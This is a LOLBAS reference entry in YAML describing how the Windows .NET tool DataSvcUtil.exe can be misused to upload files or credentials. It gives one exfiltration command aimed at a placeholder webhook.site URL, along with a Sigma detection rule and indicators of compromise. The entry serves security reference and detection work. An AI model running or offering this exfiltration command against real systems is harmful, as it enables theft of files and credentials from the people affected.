LOLBAS/yml/OSBinaries/DataSvcUtil.yml
bohops 23dd0236ae
Detection Resources and Other Updates (#179)
* Add detection links for scripts

* Add detection links for OtherMSBins. Fixed and updated as needed.

* Add detection links for MSBins. Fixed and updated as needed.

* Add detection links for oslibraries

* Updating template for Detections

* Removing empty Detection:Sigma entries

* Remove redundant blank line

* Replacing commit URL with file URL

Co-authored-by: root <root@DESKTOP-5CR935D.localdomain>
Co-authored-by: Wietze <wietze@users.noreply.github.com>
2021-11-15 08:19:03 -05:00

31 lines
1.7 KiB
YAML

---
Name: DataSvcUtil.exe
Description: DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.
Author: 'Ialle Teixeira'
Created: '01/12/2020'
Commands:
- Command: DataSvcUtil /out:C:\\Windows\\System32\\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile
Description: Upload file, credentials or data exfiltration in general
Usecase: Upload file
Category: Upload
Privileges: User
MitreID: T1567
OperatingSystem: Windows 10
Full_Path:
- Path: C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe
Code_Sample:
- Code: https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/dc030e0128a38510b0a866e1210f5ebd7c418c0b/rules/windows/process_creation/process_creation_lolbas_data_exfiltration_by_using_datasvcutil.yml
- IOC: The DataSvcUtil.exe tool is installed in the .NET Framework directory.
- IOC: Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.
Resources:
- Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe
- Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services
- Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services
Acknowledgement:
- Person: Ialle Teixeira
Handle: '@NtSetDefault'
---